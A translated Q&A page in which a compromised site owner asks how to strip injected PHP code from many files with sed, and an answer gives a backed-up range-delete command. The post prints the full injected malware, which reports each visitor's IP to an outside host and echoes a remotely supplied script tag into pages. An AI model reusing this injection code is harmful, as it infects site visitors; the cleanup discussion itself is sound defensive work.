☰

如何使用 SED 命令从多个文件中删除注入的代码？

tag-icon • tag-icon sed
如何使用 SED 命令从多个文件中删除注入的代码？

我的 Centos 6.5（64 位）服务器上的一个域已被泄露。在 public_html 文件夹上运行检测脚本后，我已经通过此代码注入识别了所有文件。

我知道 SED 命令将帮助我删除文件中的代码，但我以前从未使用过该命令。我需要一些关于使用什么语法的建议。请参阅下面我要删除的代码示例（每个受感染文件中的代码相同）：

    <?php
    #7968e7#
    if (empty($ywf)) {
error_reporting(0);
@ini_set('display_errors', 0);
if (!function_exists('__url_get_contents')) {
    function __url_get_contents($remote_url, $timeout)
    {
        if (function_exists('curl_exec')) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $remote_url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
            curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
            $_url_get_contents_data = curl_exec($ch);
            curl_close($ch);
        } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
            $ctx = @stream_context_create(array('http' =>
                array(
                    'timeout' => $timeout,
                )
            ));
            $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
        } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
            $handle = @fopen($remote_url, "r");
            $_url_get_contents_data = @stream_get_contents($handle);
        } else {
            $_url_get_contents_data = __file_get_url_contents($remote_url);
        }
        return $_url_get_contents_data;
    }
}
if (!function_exists('__file_get_url_contents')) {
    function __file_get_url_contents($remote_url)
    {
        if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
            $remote_url, $matches)
        ) {
            $protocol = strtolower($matches[1]);
            $host = $matches[2];
            $path = $matches[3];
        } else {
            // Bad remote_url-format
            return FALSE;
        }
        if ($protocol == "http") {
            $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
        } else {
            // Bad protocol
            return FALSE;
        }
        if (!$socket) {
            // Error creating socket
            return FALSE;
        }
        $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
        $len_written = @fwrite($socket, $request);
        if ($len_written === FALSE || $len_written != strlen($request)) {
            // Error sending request
            return FALSE;
        }
        $response = "";
        while (!@feof($socket) &&
            ($buf = @fread($socket, 4096)) !== FALSE) {
            $response .= $buf;
        }
        if ($buf === FALSE) {
            // Error reading response
            return FALSE;
        }
        $end_of_header = strpos($response, "\r\n\r\n");
        return substr($response, $end_of_header + 4);
    }
}

if (empty($__var_to_echo) && empty($remote_domain)) {
    $_ip = $_SERVER['REMOTE_ADDR'];
    $ywf = "http://www.sentinelproducts.com/message/FVkWXrCj.php";
    $ywf = __url_get_contents($ywf."?a=$_ip", 1);
    if (strpos($ywf, 'http://') === 0) {
        $__var_to_echo = '<script type="text/javascript" src="' . $ywf . '?id=108212681"></script>';
        echo $__var_to_echo;
    }
}
    }
    #/7968e7#
    ?>
    <?php

    ?>

这是一个相当大的代码块，所以我想知道如何从许多受感染的文件中删除它。有些 javascript 文件也被代码感染，但如果我能掌握如何清除 .php 文件中的上述代码，那么我就可以修改命令来清理 javascript 文件。

答案1

首先做好备份。

这将删除标签之间的线条#7968e7#和#/7968e7#原始文件将以 .bkp 扩展名保留，但如果有备份就更好了。

 sed -i.bkp '/#7968e7#/,/#\/7968e7#/ {d}'  filename

它将留下空的 php 块。

<?php
?>
<?php

?>

相关内容